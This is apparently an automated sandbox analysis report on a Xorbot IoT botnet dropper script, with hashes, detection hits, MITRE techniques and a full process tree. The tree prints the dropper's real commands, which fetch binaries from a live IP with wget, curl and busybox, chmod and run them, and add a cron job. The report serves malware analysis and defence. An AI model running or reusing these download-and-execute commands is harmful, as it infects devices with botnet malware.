xorbot | e442d2493ef24372a63ca01790525986f2c74fe48f056a8bbcc93247556304e5

Analysis

max time kernel
150s
max time network
122s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
04-12-2024 04:20

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General

Target

bins.sh
Size

10KB
MD5

48e22140eccdbc0e1791d3cfbd21b9a1
SHA1

d857ca79cfcd50ab3af92a32ced5fba96e8fb286
SHA256

e442d2493ef24372a63ca01790525986f2c74fe48f056a8bbcc93247556304e5
SHA512

189e5ff3380834746664f5e1cf60f37d67c1b7f3e2e846ff497e5688f77c6073ccc2f448270f7f7c4d25cc54b929c9f07395e2e77351f222cfb5c7711e98719c
SSDEEP

192:L29ANYNCkCsC0CvCzCOb4L/2ePeu33D69AlCkCsC0CvCzC0L/2ePeun:LBYNCkCsC0CvCzCOb4L/2ePeu33DdCkX

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 11 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot
behavioral4/files/fstream-18.dat	family_xorbot
behavioral4/files/fstream-19.dat	family_xorbot
behavioral4/files/fstream-20.dat	family_xorbot
behavioral4/files/fstream-21.dat	family_xorbot
behavioral4/files/fstream-22.dat	family_xorbot
behavioral4/files/fstream-24.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	Process
814	chmod
879	chmod
745	chmod
827	chmod
872	chmod
893	chmod
738	chmod
766	chmod
799	chmod
886	chmod
914	chmod
856	chmod
900	chmod
907	chmod
921	chmod

Executes dropped EXE 15 IoCs

Processes:

WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo234VxczSpKlzetyGrxybVEaQN3C7jA3k23HKWLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4mU463yTbmf4vzvaEOFMpGzoa3ro32tuIqRTILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzKm2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbFNGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZfCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8PZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

Renames itself 1 IoCs

Processes:

ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK

pid	Process
858	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

Processes:

crontab

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.WWfHma	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzKcurlcrontabcrontabcurl

description	ioc	Process
File opened for reading	/proc/887/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/899/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/685/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/706/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/705/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/884/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/78/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/82/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/17/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/890/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/1/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/15/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/365/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/13/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/905/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/486/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/14/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/36/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/926/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/513/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/925/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/37/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/68/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/72/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/340/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/883/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/5/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/7/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/880/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/76/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/116/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/19/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/704/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/877/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/892/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/4/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/8/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/77/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/105/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/115/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/870/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/891/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/893/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/12/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/16/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/18/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/514/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/709/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/11/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/383/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/146/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/869/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/904/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/919/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/24/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/70/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/79/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/876/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/921/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/22/cmdline	ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK

Writes file to tmp directory 29 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxcurlcurlbusyboxbusyboxbusyboxwgetbusyboxbusyboxbusyboxwgetbusyboxwgetcurlbusyboxwgetwgetbusyboxcurlbusyboxbusyboxbusyboxwgetcurlcurlwgetcurlbusyboxbusybox

description	ioc	Process
File opened for modification	/tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK	busybox
File opened for modification	/tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1	curl
File opened for modification	/tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m	curl
File opened for modification	/tmp/ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9	busybox
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	busybox
File opened for modification	/tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1	busybox
File opened for modification	/tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk	wget
File opened for modification	/tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT	busybox
File opened for modification	/tmp/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF	busybox
File opened for modification	/tmp/fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0	busybox
File opened for modification	/tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1	wget
File opened for modification	/tmp/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P	busybox
File opened for modification	/tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK	wget
File opened for modification	/tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK	curl
File opened for modification	/tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk	busybox
File opened for modification	/tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT	wget
File opened for modification	/tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m	wget
File opened for modification	/tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m	busybox
File opened for modification	/tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT	curl
File opened for modification	/tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK	busybox
File opened for modification	/tmp/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL	busybox
File opened for modification	/tmp/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ	busybox
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	wget
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	curl
File opened for modification	/tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk	curl
File opened for modification	/tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK	wget
File opened for modification	/tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK	curl
File opened for modification	/tmp/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG	busybox
File opened for modification	/tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:706
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Writes file to tmp directory
  PID:714
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:729
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - File and Directory Permissions Modification
  PID:738
- /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  ./WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Executes dropped EXE
  PID:739
- /bin/rm
  rm WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  PID:741
- /usr/bin/wget
  wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  - Writes file to tmp directory
  PID:742
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  ./4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  - Executes dropped EXE
  PID:746
- /bin/rm
  rm 4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  PID:748
- /usr/bin/wget
  wget http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  2⤵
  - Writes file to tmp directory
  PID:749
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  2⤵
  - Writes file to tmp directory
  PID:762
- /bin/chmod
  chmod 777 WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  ./WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  2⤵
  - Executes dropped EXE
  PID:767
- /bin/rm
  rm WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
  2⤵
  PID:771
- /usr/bin/wget
  wget http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  2⤵
  - Writes file to tmp directory
  PID:772
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  2⤵
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  ./KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  2⤵
  - Executes dropped EXE
  PID:801
- /bin/rm
  rm KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
  2⤵
  PID:803
- /usr/bin/wget
  wget http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  2⤵
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  2⤵
  - Writes file to tmp directory
  PID:813
- /bin/chmod
  chmod 777 7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  ./7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  2⤵
  - Executes dropped EXE
  PID:815
- /bin/rm
  rm 7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  2⤵
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  2⤵
  - Writes file to tmp directory
  PID:819
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  2⤵
  - Writes file to tmp directory
  PID:823
- /bin/chmod
  chmod 777 U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  ./U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  2⤵
  - Executes dropped EXE
  PID:828
- /bin/rm
  rm U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
  2⤵
  PID:832
- /usr/bin/wget
  wget http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  2⤵
  - Writes file to tmp directory
  PID:833
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  2⤵
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  2⤵
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  ./ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:857
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:860
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:861
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:863
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:864
- /bin/rm
  rm ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
  2⤵
  PID:866
- /usr/bin/wget
  wget http://216.126.231.240/bins/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  2⤵
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  2⤵
  - Writes file to tmp directory
  PID:871
- /bin/chmod
  chmod 777 m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  ./m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
  2⤵
  PID:875
- /usr/bin/wget
  wget http://216.126.231.240/bins/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  2⤵
  PID:877
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  2⤵
  - Writes file to tmp directory
  PID:878
- /bin/chmod
  chmod 777 4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  ./4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm 4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
  2⤵
  PID:882
- /usr/bin/wget
  wget http://216.126.231.240/bins/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  2⤵
  PID:884
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  2⤵
  - Writes file to tmp directory
  PID:885
- /bin/chmod
  chmod 777 NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  ./NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm NGmOA9ZVLoY1eh41tScnXNqWdbTm2jOlIZ
  2⤵
  PID:889
- /usr/bin/wget
  wget http://216.126.231.240/bins/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  2⤵
  PID:891
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  2⤵
  - Writes file to tmp directory
  PID:892
- /bin/chmod
  chmod 777 fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  ./fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm fCDiF4ZC6pNvC59rxei8tkV3741vvnFCAG
  2⤵
  PID:896
- /usr/bin/wget
  wget http://216.126.231.240/bins/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  2⤵
  PID:897
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  2⤵
  PID:898
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  2⤵
  - Writes file to tmp directory
  PID:899
- /bin/chmod
  chmod 777 29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  ./29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  2⤵
  - Executes dropped EXE
  PID:901
- /bin/rm
  rm 29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P
  2⤵
  PID:903
- /usr/bin/wget
  wget http://216.126.231.240/bins/ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  2⤵
  PID:904
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  2⤵
  PID:905
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  2⤵
  - Writes file to tmp directory
  PID:906
- /bin/chmod
  chmod 777 ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  2⤵
  - File and Directory Permissions Modification
  PID:907
- /tmp/ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  ./ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  2⤵
  - Executes dropped EXE
  PID:908
- /bin/rm
  rm ZLD8TPkl1sBHtdWgQb3NzOLQony4q8tKO9
  2⤵
  PID:910
- /usr/bin/wget
  wget http://216.126.231.240/bins/fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  2⤵
  PID:912
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  2⤵
  - Writes file to tmp directory
  PID:913
- /bin/chmod
  chmod 777 fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  ./fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm fUy6IcZ8wAeFi6v0qXwJaiCmZny1Lw2MZ0
  2⤵
  PID:917
- /usr/bin/wget
  wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  PID:919
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Writes file to tmp directory
  PID:920
- /bin/chmod
  chmod 777 WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  ./WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
  2⤵
  PID:924
- /usr/bin/wget
  wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  PID:925
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
  2⤵
  PID:926

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/29RqB3h8kpLNqxGt1kqtveLKwxnKqgqM8P

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK

Filesize
111KB

MD5
